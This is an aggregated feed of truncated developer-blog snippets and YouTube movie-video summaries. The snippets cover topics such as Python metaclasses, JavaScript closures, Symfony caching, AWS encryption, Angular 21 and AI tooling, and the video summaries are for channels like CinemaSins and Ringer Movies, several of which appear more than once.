    In the wild world of Search Engine Optimization (SEO), the competition is usually dominated by software with super technical or keyword heavy names. You know the type: "SEO Master Pro," or "Keyword Elite." But then, there is one phenomenon that challenges all the rules: Neil Patel. It’s not "The Ultimate SEO Analyzer" this dominant service is widely known purely by the power of its founder's name. The success of Ubersuggest isn't just about sophisticated algorithms; it’s a masterclass in personal branding. In the digital realm, tools usually rely on descriptive names. Neil Patel and Ubersuggest took a different, far more effective route. Here is the breakdown: Neil Patel isn't just selling an SEO tool; he is selling his expertise in the form of a tool. Because he spent years building an i…  ( 7 min )
    Introduction to Python Metaclasses
    Metaclasses are one of those Python features that sound complicated but are actually based on a simple idea: Classes create objects. That’s it. When you write: class User: pass the class User is actually an object, and Python needs something to build that object. print(type(User)) Output: So type is the “class-maker.” Why Would You Ever Use a Metaclass? Most people never do — and that’s fine. But frameworks like Django, SQLAlchemy, and Pydantic use metaclasses to: add extra attributes to classes validate or modify classes at creation time automatically register subclasses build features with less boilerplate A metaclass lets you run logic when the class is created, not when it runs. A Basic Metaclass Example This metaclass prints the name of the class being created: class LoggerMeta(type): def __new__(cls, name, bases, attrs): print("Creating:", name) return super().__new__(cls, name, bases, attrs) Using it: class Example(metaclass=LoggerMeta): pass When the file loads, it prints: Creating: Example Because the metaclass runs before the class exists. Adding Automatic Attributes A more practical example: class InfoMeta(type): def __new__(cls, name, bases, attrs): attrs["source"] = "auto" return super().__new__(cls, name, bases, attrs) Usage: class Product(metaclass=InfoMeta): pass print(Product.source) Output: auto The metaclass quietly added the attribute. When to Use Metaclasses Use them only when you need to control how classes are built — usually in libraries or frameworks. Normal applications almost never need them.  ( 6 min )
    From a $440M Exit to Building the "GitHub for IP": The Story Protocol Journey
    You'll need lawyers, lengthy contracts, expensive legal battles, and even then, once your work is online, tracking who's using it is nearly impossible. And don't even get me started on AI companies scraping your content to train their models without asking permission or paying you a dime. Enter S.Y. Lee—a Korean entrepreneur who sold his last startup for $440 million and decided his next mission would be to fix the entire broken system of intellectual property. The result? Story Protocol, a blockchain that just launched in February 2025 and is already valued at $2.25 billion. This is the story of how a serial founder, a Google DeepMind product manager, and a team of absolute grinders built what they're calling "programmable IP"—and why it might just change how every creator, artist, and AI…  ( 15 min )
    JavaScript Closures Finally Clicked!
    You know that moment when you’ve read the same MDN paragraph 17 times and closures still feel like black magic? Same story here. Every JavaScript dev hits this wall at some point, especially with modern React, custom hooks, event handlers, and AI-driven tooling becoming more closure-heavy in 2025. But once closures “click”, your debugging skill skyrockets. In this article, I will give you the explanation I wish someone had told me years ago, simple, practical, and free of textbook jargon. Let’s break this down. A closure is a function that remembers where it was born. That’s it. Even when it leaves its original home, a closure keeps access to the variables that were around during its creation. Here’s the catch: “memory” survives even after the outer function finishes running. Imagine you’r…  ( 8 min )
    Architecting Resilient Caching in Symfony: Beyond get() and set()
    The Symfony Cache component is often the most under-utilized tool in a developer's arsenal. Most implementations stop at "install Redis" and wrap a few database calls in a $cache->get() closure. While functional, this barely scratches the surface of what the component can do in high-throughput, distributed environments. In Symfony 7.3, the Cache component is not just a key-value store; it is a sophisticated system capable of tiered architecture, probabilistic stampede protection and transparent encryption. This article explores important caching strategies that solve expensive architectural problems: latency, concurrency (thundering herds), security (GDPR) and distributed invalidation. In microservice architectures or high-traffic monoliths, a network call to Redis (typically 1–3ms) can ev…  ( 12 min )
    ENABLE EBS ENCRYPTION BY DEFAULT IN 30 SECONDS
    The One Security Setting Every AWS Account Needs We have all been there. You are in a rush to launch an EC2 instance. You click through the configuration screens, hit "Launch," and then realize... you forgot to tick the "Encrypt" box for the storage volume. In the world of cloud security, human error is the biggest risk. But what if you could "future-proof" your account so that you never have to remember to click that button again? There is a setting in AWS that takes literally 30 seconds to turn on, costs nothing extra to enable, and ensures that every single new hard drive (EBS volume) you create is encrypted automatically. Here is how to turn it on, why it matters, and the few things you need to know. Think of EBS Encryption by Default as automatically locking your front door every ti…  ( 8 min )
    Replace Expensive AI with Free TextBlob - Stop Paying for Simple NLP Tasks
    What if I told you that for about 80% of text-analysis tasks, you don’t need ChatGPT, Claude, Gemini, or any paid API at all? Instead, you can use a tiny, powerful, and completely free Python library that has quietly existed for years: TextBlob. In a world where AI APIs cost real money, sometimes a lot of money, TextBlob is a reminder that not every problem needs a 175-billion–parameter transformer. For many day-to-day NLP tasks, a lightweight local tool is all you need. Let’s explore how TextBlob can replace expensive AI calls and save you time, money, and compute, without sacrificing usefulness. TextBlob is a lightweight, beginner-friendly natural language processing (NLP) library for Python. It’s built on top of two foundational NLP tools, NLTK and pattern, and provides a clean, simple…  ( 10 min )
    Ringer Movies: ‘Weird Science’ With Bill Simmons and Kyle Brandt | Ringer Movies
    ‘Weird Science’ Revisited Bill Simmons and Kyle Brandt dig into John Hughes’s 1985 teen classic, Weird Science, unpacking its over-the-top ’80s vibe—think sex, drugs, rock ’n’ roll (plus obligatory chips, dips, chains and whips)—and celebrating the on-screen magic of Anthony Michael Hall, Kelly LeBrock and Ilan Mitchell-Smith. Along the way they give a nod to producers Craig Horlbeck, Chia Hao Tat and Eduardo Ocampo, toss in a State Farm sponsor shout-out, and remind you to subscribe to The Ringer’s YouTube channels for more movie deep dives. Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With The Wiz In 15 Minutes Or Less
    Everything Wrong With The Wiz In 15 Minutes Or Less is CinemaSins’s latest dive down the yellow brick road—reevaluating The Wiz now that Wicked is back in theaters and asking if it’s better than you remember. They’ve packed the description with links to their site, socials, a sinful poll, and Patreon. The video credits writers Jeremy, Chris, Aaron, Jonathan, Deneé, Ian and Daniel, and invites fans to follow along on Discord, Reddit, Instagram and TikTok. Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less
    CinemaSins just dropped “Everything Wrong With KPop Demon Hunters in 16 Minutes Or Less,” their trademark rapid-fire roast of the movie’s quirks, plot holes and over-the-top demon-slaying. They promise plenty of snark, invite you to weigh in on their sinful poll, and remind you that if you love the bit, supporting them on Patreon keeps the little team going. Beyond the sins, they’re plugging all the usual suspects: YouTube channels (@TVSins, @commercialsins), socials (Twitter, Instagram, TikTok), their Discord and Reddit communities, and even Jeremy’s book. If you can’t get enough, everything’s conveniently linked via their linktr.ee page. Watch on YouTube  ( 6 min )
    Mr Sunday Movies: Biggest Disney Bombs: The Sorcerer's Apprentice - Caravan of Garbage
    Biggest Disney Bombs: The Sorcerer's Apprentice – Caravan of Garbage Disney’s recent slate has been hit or miss – Marvel and Star Wars installments aren’t flying like they used to, and newer originals like Wish and Elio have barely made a ripple. But hey, this isn’t uncharted territory for the Mouse House. Over the next few weeks, “Caravan of Garbage” is diving into four of Disney’s most spectacular live-action flops. Kicking things off is 2010’s The Sorcerer’s Apprentice, complete with Nicolas Cage, questionable magic, and… a giant bird? Join James and Maso as they revisit the film you probably forgot (but they definitely haven’t), and get ready for more glorious dumpster dives into Disney’s dud-dusted past. Watch on YouTube  ( 6 min )
    Async Validation in Angular Signal Forms (Complete Guide)
    With Angular 21 introducing the new Signal Forms API, we now have a different and more streamlined way to approach async validation. In this post, we'll walk through how async validators work in Signal Forms, including how to set up a debounced username check using validateAsync(), resource(), and custom async errors. You'll see how pending states, real-time feedback, and server-backed checks fit into this updated pattern giving you a clear understanding of how async validation is handled in Angular's modern form system. Starting with a Basic Signal Form For this example, we'll be using an Angular form: It has a username field and that field should check the server to see if the username exists as the user types. Easy enough, right? But there's a twist: this form uses the …  ( 13 min )
    AWS Multi-Account Guardrails: A Complete Blueprint for Secure, Automated Cloud Governance
    Freedom without control is chaos — and control without freedom is stagnation. Mature cloud organizations move fast and remain compliant — without slowing developers down with approvals and manual reviews. The solution: Guardrails, not gates. In this deep-dive, I will walkthrough an AWS-native governance model using Policy as Code (PaC) across a multi-account AWS environment, leveraging: AWS Organizations, Control Tower, SCPs, AWS Config, CloudFormation Guard, Security Hub, Audit Manager, EventBridge, Lambda Remediation, and Amazon Detective. This is the blueprint can be used to achieve continuous compliance, audit readiness, and autonomous engineering velocity. As organizations scale from a few accounts to hundreds of workloads, familiar problems quickly appear: Inconsistent tagging — reso…  ( 14 min )
    How a Cat, Panpsychism, and Late-Night Videos Helped Me Create a Tool That Will Save You 87% of Your AI Development Time
    2:47 AM. Phone vibrating... I turned on the screen expecting a notification, but instead saw a strange video, filmed as if through an old VHS tape. A person on screen spoke quietly, almost in a whisper: "If everything has consciousness... even a brick... even this table... then where do I end?" This was two days after a black cat had wreaked havoc in our kitchen. And an hour after I'd deleted all the text of a song for the hundredth time—a song I was trying to write about that incident. I wanted to write a song about that morning—about the cat-bandit, about my rage, about the strange insight that came later. But the words wouldn't come. I turned to AI: "Write a song about a cat that made a mess in the kitchen" The results were predictably awful—cliché rhymes, flat emotions, none of the d…  ( 9 min )
    What Is Asset Health in IT Asset Management?
    What Is Asset Health? Asset health shows how well an IT asset is performing at a given moment. It helps you see if a device or system is working normally or starting to show problems. In IT Asset Management (ITAM), asset health reflects the condition, reliability, and performance of your hardware and software. A healthy asset runs smoothly and stays updated. An unhealthy asset may slow down, freeze, or require frequent support. Think of asset health as a simple status check for your IT environment. When you understand the health of your assets, you can plan maintenance, prevent downtime, and decide when to repair or replace equipment. Why Asset Health Is Important Asset health matters because it tells you if your devices and systems can support your daily work without problems. When y…  ( 11 min )
    In the AI Wind, Even Pigs Can Fly? — A Developer's Reality Check in 2025
    There is a famous business saying that has echoed through the tech world for years: "Standing in the wind, even a pig can fly." It implies that if the trend (the "wind") is strong enough, anyone can succeed, regardless of their actual skill level. Now, we are in November 2025. The AI "wind" is no longer a breeze—it is a hurricane. We have LLMs that refactor legacy code better than seniors, image models that understand complex physics, and video generators that dream in 4K. But look around. Are the "pigs" flying? Why? Because in a hurricane, if you don't understand aerodynamics, you don't fly. You just get thrown against a wall. Here is my controversial take for 2025: AI doesn't make it easier to be mediocre. It raises the bar for being competent. This brings me to how I rebuilt my workflow…  ( 8 min )
    Agentic AI Frameworks Comparison 2025: mcp-agent, LangGraph, AG2, PydanticAI, CrewAI
    Technical comparison of MCP-native and traditional agentic frameworks with production considerations for building AI agents Use Case Framework Why MCP-native development mcp-agent Built for MCP from day one Visual debugging LangGraph Studio with time-travel debugging Multi-agent conversations AG2 Agents coordinate autonomously Type safety PydanticAI Full Pydantic validation Rapid prototyping CrewAI No-code Studio interface GitHub: lastmile-ai/mcp-agent | Python Python framework built for Model Context Protocol. Native MCP implementation, not an adapter. Key Features: Native MCP implementation - Full protocol support (tools, resources, prompts, notifications, OAuth) Automatic durable execution - Switch to Temporal in one config line, no manual checkpointing Cloud deployme…  ( 9 min )
    From "Gacha" to "Productivity": A Deep Dive into Nano Banana Pro
    In the AI image generation landscape of late 2025, Google DeepMind's Nano Banana Pro (also known as GemPix 2) has landed as a significant disruptor. Moving away from the "Gacha-style" randomness of early diffusion models, Nano Banana Pro marks the official entry of image generation into the era of "Logical Reasoning". Based on various technical reviews and data, this article analyzes the model's market positioning and technical value across three dimensions: architecture, consistency breakthroughs, and commercial application. Traditional text-to-image models often relied on probability fitting, leading to frequent physical hallucinations. Nano Banana Pro, however, is defined as a "Reasoning Model." Before generating pixels, it performs internal logical deductions to understand the physical…  ( 7 min )
    Trash Theory: Exploring Tricky & Maxinquaye: The 90s Bowie? | New British Canon
    Tricky shook up the ’90s by ditching the “Trip-Hop” tag and forging a claustrophobic, genre-bending sound with Martina Topley-Bird—melding soul, dub reggae and downtempo hip-hop into something dark, paranoid and totally his own. His debut album Maxinquaye, born from personal trauma and medicated melancholy, earned Bowie-style comparisons and critical praise for redefining what British hip-hop could be. But as Maxinquaye’s eerie grooves hit the airwaves, the industry sanitized Tricky’s raw edge, packaging his sonic experiments for mainstream radio. The story of Maxinquaye is one of groundbreaking innovation, creative ownership wrested away, and the ongoing journey of an artist who never quite fit the mold. Watch on YouTube  ( 6 min )
    SIMA 2: Gemini-Powered Agent That Nearly Doubles Task Success
    Everyone's talking about SIMA 2, DeepMind's Gemini-powered game agent, but the real opportunity is how it will change testing, training, and UX. Game AI is no longer a party trick. It is a universal agent that follows goals across worlds. That shifts how you build, test, and launch products. SIMA 2 understands goals, explains plans, and learns by exploring thousands of complex 3D worlds. It follows voice or even emoji commands, then tells you what it will do next. The truth is simple. Goal-following agents will become the new UI for complex work. ⚡ SIMA 2 nearly doubles task success versus its earlier version. That improvement actually unlocks practical pilots beyond games. Example. Ask it to gather resources in a new scene, and it explains the plan, executes steps, and adapts when the map changes. Now imagine the same pattern for QA, training sims, or ops runbooks. ↓ Pilot framework you can run in 14 days. • Pick one high-friction workflow in a safe sandbox. • Define a clear goal, guardrails, and a success metric. • Feed 20 to 50 examples and set a prompt plus feedback loop. ↳ Log plans, failures, and fixes to improve it daily. • Measure cycle time, error rate, and human handoffs. → If it beats baseline by 20 percent or more, expand to a second workflow. You will cut rework, learn faster, and ship with more confidence. Early movers will quietly build an advantage that compounds. What would you test first with a goal-following agent like this?  ( 6 min )
    Ringer Movies: ‘Weird Science’ With Bill Simmons and Kyle Brandt | Ringer Movies
    Weird Science gets the Rewatchables treatment as Bill Simmons and Kyle Brandt dive into John Hughes’s 1985 cult classic starring Anthony Michael Hall, Kelly LeBrock, and Ilan Mitchell-Smith. Expect all the sex, drugs, rock ’n’ roll, chips, dips, chains and whips that made this flick legendary. They dissect favorite scenes, revel in ’80s nostalgia, and dish out hilarious commentary on the film’s quirks, making this episode a must-listen for fans of cheesy special effects and Hughes’s brand of teen comedy. Watch on YouTube  ( 6 min )
    Ringer Movies: The 25 Best Movies of the Century: No. 4 - 'Inglourious Basterds’
    Sean Fennessey and Amanda Dobbins slot Inglourious Basterds at No. 4 in their 21st-century movie countdown, arguing it’s Quentin Tarantino’s definitive triumph—outshining Once Upon a Time in Hollywood with its bold rewrite of WWII history and, of course, Christoph Waltz’s scene-stealing, Oscar-winning turn. They dig into the film’s lasting legacy—how its blend of tension, dark humor and revisionist fantasy rewrote the rules of blockbuster storytelling and still feels electrifying almost two decades later. Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With The Wiz In 15 Minutes Or Less
    Everything Wrong With The Wiz In 15 Minutes Or Less CinemaSins is back on the yellow brick road—just in time for Wicked’s theatrical return—to tear down the 1978 musical with polemic precision, nitpicking every plot hole, off-key moment, and questionable dance number in trademark snarky style. Want more sinful content? Cruise over to cinemasins.com or their linktr.ee, fill out the “sinful” poll, and back the crew on Patreon. You can also stalk Jeremy, Chris, Aaron, Jonathan, Deneé, Ian, and Daniel across Twitter, Discord, Reddit, Instagram, and TikTok for extra cinema shade. Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less
    CinemaSins just dropped a new “Everything Wrong With KPop Demon Hunters in 16 Minutes or Less” video, roasting every supernatural slip-up in the film. They’re your one-stop sin shop—hit up their site or linktr.ee for the freshest updates, fill out their sinful poll, and if you wanna keep the jokes coming, back them on Patreon. This episode was cooked up by Jeremy, Chris, Aaron, Jonathan, Deneé, Ian and Daniel, and you can hang with the ever-loving sin community on Discord, Reddit, Instagram and TikTok (plus grab Jeremy’s book for more cinema carnage). Watch on YouTube  ( 6 min )
    SLS Copilot in Practice: Building a Flexible Data Infrastructure for LLM Applications with SLS
    By Zhi Shao, From the Alibaba Cloud SLS Team Introduction As large language model (LLM) applications develop rapidly, we often focus on model fine-tuning and feature implementation. However, we tend to overlook a critical question: How do you effectively monitor, diagnose, and optimize live LLM applications? This article shares our engineering practices from building the SLS SQL Copilot. It shows how to build a complete data infrastructure for LLM applications using SLS. Background: Observability Challenges in LLM Application Development 1.1 The Rise and Limitations of the Dify Platform Dify is a popular platform for developing LLM applications. Its visual workflow design and rich widget ecosystem make development much easier. Our team chose Dify to build our SQL Copilot application. The …  ( 18 min )
    1) Describe the Python Selenium Architecture in Detail And What is the Significance of the Python Virtual Environment?
    1) Describe the Python Selenium Architecture in Detail Python Selenium follows a client–server architecture designed to automate web browsers efficiently. The main components work together in a sequence to execute browser actions. Selenium Client (Python Bindings) The Selenium Python library is where automation scripts are written. WebDriver Protocol The WebDriver protocol (JSON Wire Protocol / W3C WebDriver) acts as a communicator between Python code and the browser driver. Browser Drivers Each browser has its own driver responsible for executing commands inside the browser. Examples include chromedriver, geckodriver, msedgedriver, and safaridriver. Functions of browser drivers: Receive Selenium commands Convert commands into browser actions Send results back to Selenium Browser The actua…  ( 7 min )
    How To Build Money Machines With AI While Everyone Else Scrolls TikTok
    It’s finally time to spill the beans on this secret money making tactic. Sharing is caring… Right? ⸻ There is a strange quiet in the world right now. A quiet that only shows up before a storm. The storm in question is not weather and it is not social commentary. It is a shift in how people work and how money moves. Most people cannot see it because they are too busy with the endless scroll. Their attention is trapped in the hypnosis loop of short form entertainment. Their imagination is melted to the shape of whatever the algorithm feeds next. You are not here for that. You are here because you suspect something. You feel that AI is not another trend. You sense that it is the infrastructure for an entirely new class of income streams. You suspect that the people who learn how to shape it …  ( 12 min )
    Angular 21 Released: What’s New & Developer Guide
    Angular 21 landed on November 20, 2025, delivering major upgrades that improve performance, DX (developer experience), AI integration, and accessibility for web developers. Features Overview Performance Boosts AI-Driven Developer Tools Signal Forms Accessibility Build Optimizations Upgrade Tips 🎬 YouTube Series: Angular 21 Conclusion HttpClient Default: Instantly available in every project, reducing setup time. Zoneless Change Detection: Eliminates dependency on Zone.js for rapid updates. Signal Forms: Reactive, type-safe forms API replacing older RxJS-based methods. NgStyle Control Flow: Use @if, @for, and @switch inside templates for more dynamic UI. AI-Powered MCP Server: Smart migration guides, code suggestions, and best practice enforcement embedded into your workflow. Improved ARIA …  ( 7 min )
    How Impeller Is Transforming Flutter UI Rendering in 2026
    Flutter has long been a favorite for cross-platform development, but early versions faced a persistent enemy: shader compilation jank. This stuttering effect, often visible during the first run of an animation, frustrated developers and users alike. By 2026, the Impeller rendering engine has largely solved this issue, replacing the Skia engine with a solution built specifically for Flutter’s needs. This new engine delivers silky-smooth visuals by precompiling shaders, ensuring predictable performance on modern devices. Impeller is the dedicated rendering engine designed to replace Skia in Flutter applications. Unlike Skia, which was a general-purpose 2D graphics library, the Flutter team built Impeller from the ground up to leverage modern hardware APIs. It utilizes Metal on iOS and Vulkan…  ( 12 min )
    Meet Quesby: A Privacy-First Eleventy Starter That Stays Out of Your Way
    I've always loved static site generators. But every time I wanted to spin up a small, focused site, I kept hitting the same problems: Boilerplates full of stuff I didn't ask for Too many external dependencies Complex setups just to publish a few pages or blog posts So I ended up building my own starter – and that's how Quesby was born. (Pronounced /ˈkiːz.bi/, like "keys-bee".) Quesby is the boilerplate that powers my own site at quesby.dev, and now it's open for you to use too. Quesby is a modern Eleventy boilerplate with a privacy-first mindset, Decap CMS integration, and a tiny core you can actually understand. It's a clean starting point for content-driven sites where you still stay in control. You might like Quesby if you: Enjoy Eleventy but don't want to wire everything from sc…  ( 7 min )
    Type hints in Python (2)
    *Memo: My post explains type hints (1). The value None should be used as a type within a type hint because the type NoneType gets error as shown below: v: None # No error from types import NoneType v: NoneType # error: NoneType should not be used as a type, please use None instead The function which only returns None gets the error if defining and calling the function, and printing the return value as shown below: *Memo: The error can be disabled using --disable-error-code with func-returns-value: mypy --strict --disable-error-code func-returns-value test.py. mypy --disable-error-code func-returns-value test.py. Only defining and calling the function doesn't get the error. Only defining the function doesn't get the error. I reported the strange behaviour as the issue. def func()…  ( 8 min )
    What was your win this week?!
    👋👋👋👋 Looking back on your week -- what was something you're proud of? All wins count -- big or small 🎉 Examples of 'wins' include: Getting a promotion! Starting a new project Fixing a tricky bug Finally replacing that dying houseplant you've been ignoring 🪴 Happy Friday!  ( 6 min )
    Making DIY High-Performance Air Purifier for Delhi: Build Guide
    For rapid building and deployment in extreme AQI conditions (999+ PM2.5), I aim to provide you a tested, cost-effective air purifier design structure achievable in 1–2 weeks if built with consistency, using repurposed materials and minimal investment. I will be sharing my condition and output results with this purifier unit, in the end.  ( 6 min )
    How I Built a Self-Feeding SEO Engine with GPT-4o Vision + Next.js 15
    Two weeks ago, I launched an ai tattoo generator called TattooRed. Today, I have 200 pages generated and 15 indexed by Google. But here's the interesting part: users generate the content, GPT-4o Vision enriches it, and Next.js 15 serves it—automatically. The architecture is designed to scale from 0 to 100K+ pages at $0.006 per page. Here's exactly how it works—including the disasters I didn't anticipate. I started building an ai tattoo generator. The obvious keyword was "ai tattoo generator" (22K monthly searches). But then I discovered "tattoo ideas" gets 135K monthly searches with similar difficulty (56% vs 50%). The opportunity was massive. But here's the challenge: How do you create 10,000+ unique, SEO-optimized pages for long-tail keywords like: "minimalist lion tattoo ideas" "waterco…  ( 12 min )
    Awakening Inner Joy: The Vision, Challenges, and Future of Joy Potential
    In a world overflowing with responsibilities, emotional burdens, and the constant pressure to “do more,” many people find themselves disconnected from a deeper source of fulfillment: genuine inner joy. Joy Potential emerges as a guiding light in this landscape, offering a sanctuary for individuals seeking to reconnect with their purpose, rekindle their inner spark, and rediscover a sense of aliveness that transcends daily stress. Rather than focusing on fleeting happiness, Joy Potential represents a movement centered on unconditional, embodied joy—joy that emerges from healing, self-awareness, and transformation. At its core, Joy Potential provides programs, experiences, coaching, and transformational methodologies designed to help people heal emotional wounds, rewire limiting beliefs, and…  ( 10 min )
    Custom Hook - UseState
    Let's implement a custom hook that mimics the behavior of React's useState without using useState internally. This will involve using React's underlying mechanisms, specifically leveraging a simple state management approach with a closure or a global store to maintain state across renders. Here's a basic implementation of a custom useState-like hook: import React from 'react'; // A simple array to store state values for different components/hooks const stateStore = []; let currentIndex = 0; // Reset index for each render (this would typically be handled by React's fiber tree) function resetIndex() { currentIndex = 0; } // Custom hook to mimic useState function useCustomState(initialValue) { // Capture the current index for this hook call const index = currentIndex; currentIndex+…  ( 7 min )
    AI AIR APP — Connect Your Air Quality Sensor & See Your Data
    👥 Who Is It For? Home users who want to monitor indoor air quality. Outdoor enthusiasts who care about pollution levels before stepping out. Researchers & developers experimenting with IoT sensors and environmental data. Health-conscious individuals who want personalized insights into air quality and wellness. If you have an IoT air-quality se``nsor, this app is your gateway to real-time monitoring, analytics, and AI-powered predictions. 💡 What Does It Do? PM2.5 & PM10 levels Temperature & humidity Air Quality Index (AQI) in real time It also provides: 📊 Interactive graphs to track trends 🤖 AI predictions for the next 4 hours 🩺 Health tips based on AQI levels 🌦️ Weather + AQI forecasts for smarter planning 🔌 How to Connect Your Sensor Login securely with your Firebase account. Connect ThingSpeak: Enter your Channel ID Enter your Write API Key Once connected, your sensor data flows directly into the app dashboard. Explore real-time readings, analytics, and AI-powered forecasts. 🚀 Why It Matters ✨ Ready to breathe smarter? Connect your sensor today and let AI AIR APP guide you toward healthier living.  ( 6 min )
    Improving AI Email Classification Accuracy Through Prompt Engineering
    Improving AI Email Classification Accuracy Through Prompt Engineering Overview We resolved email misclassification issues in our email classification system, where project emails (PROJECT) and talent emails (TALENT) were being incorrectly categorized. This article describes how we improved the problem of personnel emails containing "project desired" being misclassified as projects, using Few-shot learning and clearer judgment criteria. OpenAI GPT-4 Turbo (gpt-4-1106-preview) Claude 3 Opus (for comparison testing) TypeScript (v5.x) Prompt Engineering Few-shot Learning Natural Language Processing Our email classification AI was making incorrect judgments in cases like these: Misclassification Case 1: Personnel information classified as PROJECT Subject: [Personnel Information] In…  ( 16 min )
    5 Programming Secrets Learned The Hard Way (That AI Still Can't Teach You)
    We're living in a surreal time. If you’re not using AI (GitHub Copilot, Gemini, ChatGPT) to write at least some of your boilerplate, you're already behind. But relying on a model, no matter how powerful, has revealed new, brutal truths about development. Here are five "secrets" I learned the hard way—lessons that define the difference between a great engineer and a great prompt engineer. 🛑 Secret #1: The Error Message Is The Real Product. AI is fantastic at generating code that looks right. But the moment that code breaks, the true test of engineering quality begins. The AI Problem: Generative models prioritize smooth, functional-looking code. They don't prioritize debuggability. Their generated errors are often generic, context-free, and lead you on wild goose chases. The Hard-Won Secret…  ( 8 min )
    The AI Entropy Crisis: Model Collapse Will Destroy Future LLMs
    Hey, Dev.to community. Let's talk about the elephant in the data center: Generative AI is eating its own tail. You've heard of hallucinations, but that’s a feature, not a bug. The truly existential crisis facing the AI industry is Model Collapse, a concept so terrifying it threatens to degrade the intelligence of every future model. What is Model Collapse? (The AI Death Loop) This is what happens when new, powerful Large Language Models (LLMs) are trained on datasets that are increasingly polluted with content generated by previous LLMs. The Internet is now Synthetic: As AI-generated content floods the web (articles, code, images), the very data sources models rely on for training are getting "flatter" and less diverse. The Tails Vanish: Models trained on synthetic data lose sight of the "long-tail" of information—the rare edge cases, the unique opinions, the subtle details that make human data rich. The Convergence: The models begin to only produce outputs that resemble their own generic, average output, leading to repetitive, bland, and ultimately unoriginal content. 🤯 The Developer's Dilemma: The Research Problem: Future AI-powered research tools will increasingly provide only the "most-cited" or "most average" answers, causing genuine human knowledge to fade. This isn't theory. Researchers are seeing it now. We are training the next generation of genius on the mediocrity of the last one. Your Turn: Do you believe the industry can solve this data scarcity crisis, or are we witnessing the beginning of the great AI intellectual decay? Let me know!  ( 7 min )
    7 Dumb things I'd do if I started a software company
    Life is short, be proud of your work. AWS is probably the right choice because of it's 5 9s of availability on its core services. I've been on the other side and I trust that when something goes wrong, someone is aware and actively working to fix it before I even knew about it. ...Also, I want to support a diverse cloud market so instead of making the right choice, I'd probably go with startups like fly.io, tigris, clerk, and lemonsqueezy... not that I've thought about this or anything. SQL makes modeling a small domain easier, but wow does it cause problems. I remember being at a company where engineers had to plan to wake up at midnight to upgrade various dbs to meet quarterly objectives. I don't want to ever have to wake up to upgrade a db. At another company, all we did was debug index…  ( 8 min )
    A Complete Guide to Handling Missing Values in R: Concepts, Pitfalls, and Practical Imputation with mice
    Missing data is one of the biggest headaches for any analyst or data scientist. It silently breaks models, distorts patterns, destroys statistical power, and—if ignored—creates misleading insights. Analysts dread encountering missing values, but smart analysts know how to impute them effectively instead of simply dropping rows and shrinking their dataset. What Are Missing Values and Why Do They Matter? The Three Types of Missing Values (MCAR, MAR, NMAR) 2.1 MCAR: Missing Completely At Random (Rarest Case) 2.2 MAR: Missing At Random (Most Common in Business Data) 2.3 NMAR: Not Missing At Random (High-Risk Category) When Is It Safe to Ignore Missing Values? Common Imputation Strategies 4.1 Mean / Median Imputation (Numeric Data) 4.2 Moving Window or Rolling Means (Time-Series) 4.3 …  ( 9 min )
    Ringer Movies: ‘Weird Science’ With Bill Simmons and Kyle Brandt | Ringer Movies
    ‘Weird Science’ Rewatchables with Bill Simmons and Kyle Brandt Bill Simmons and Kyle Brandt dive deep into John Hughes’s 1985 cult classic Weird Science—complete with sex, drugs, rock ’n’ roll, chips, dips, chains and whips—to unpack what makes Anthony Michael Hall, Kelly LeBrock and Ilan Mitchell-Smith’s geek-meets-fantasy romp still worth a spin. Produced by Craig Horlbeck, Chia Hao Tat and Eduardo Ocampo, this Ringer Movies episode is all about celebrating the highs, lows and weirdest moments of one of Hughes’s most off-beat teen comedies. Watch on YouTube  ( 6 min )
    Ringer Movies: The 25 Best Movies of the Century: No. 4 - 'Inglourious Basterds’
    Sean Fennessey and Amanda Dobbins dive into Quentin Tarantino’s “Inglourious Basterds,” ranked No. 4 on their 25 Best Movies of the Century list. They argue it’s the ultimate Tarantino pick over “Once Upon a Time in Hollywood,” gush over Christoph Waltz’s scene-stealing turn, and unpack the film’s audacious, revisionist take on WWII. From its signature mix of dark humor and nail-biting tension to its bold stylistic flourishes, they explore how “Inglourious Basterds” redefined the war movie and cemented its status as one of the most electrifying cinematic experiences of the 21st century. Watch on YouTube  ( 6 min )
    Ringer Movies: ‘Wicked: For Good’ Is No Good
    Wicked: For Good gets a major side-eye from Sean, Amanda and Juliet Litman after they kick off the podcast by breaking down trailers for Charli XCX’s The Moment and The Hunger Games: Sunrise on the Reaping. The group finds John M. Chu’s big-budget musical a real head-scratcher—odd plot moves, flat characters—and they speculate on its box office haul, how this press tour stacks up against last year’s, and whether it’ll snag any Oscar buzz. Next up, they chat about Clint Bentley’s Train Dreams, praising its honest grief story, gorgeous digital cinematography, and stellar supporting cast. Then Bentley hops on to explain why he once thought the novella was unfilmable, how he meticulously crafted his logging sequences, and what’s on his mind about today’s indie-film landscape. Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With The Wiz In 15 Minutes Or Less
    Everything Wrong With The Wiz In 15 Minutes Or Less Cinema Sins takes a whirlwind tour down the yellow brick road, poking fun at The Wiz’s plot holes, set quirks, and character hiccups—all in their signature rapid-fire style now that Wicked is back in theaters. Expect snarky takes on the Scarecrow’s one‐note shtick, unexpected costume choices, and any logic gaps they can squeeze into 15 minutes or less. Along the way, they drop links to their website, Discord, Reddit, multiple YouTube channels, and a Patreon for anyone who wants to keep feeding their growing team of sin counters. Don’t forget to fill out their sinful poll and see which writer gets dubbed the ultimate Wiz watchdog! Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less
    Everything Wrong With KPop Demon Hunters is a 16-minute CinemaSins roast that gleefully rips apart the movie’s plot holes, cheesy dialogue and demon-slaying clichés. Along the way they plug their official site, spin-off YouTube channels, Discord, Reddit, and even run a sinful poll—plus invite you to back them on Patreon. Shout-outs roll to writers Jeremy, Chris, Aaron, Jonathan, Deneé, Ian and Daniel, and you’ll find links to Jeremy’s book, Instagram, TikTok and more for your next fix of sinning shenanigans. Watch on YouTube  ( 6 min )
    Mr Sunday Movies: Biggest Disney Bombs: The Sorcerer's Apprentice - Caravan of Garbage
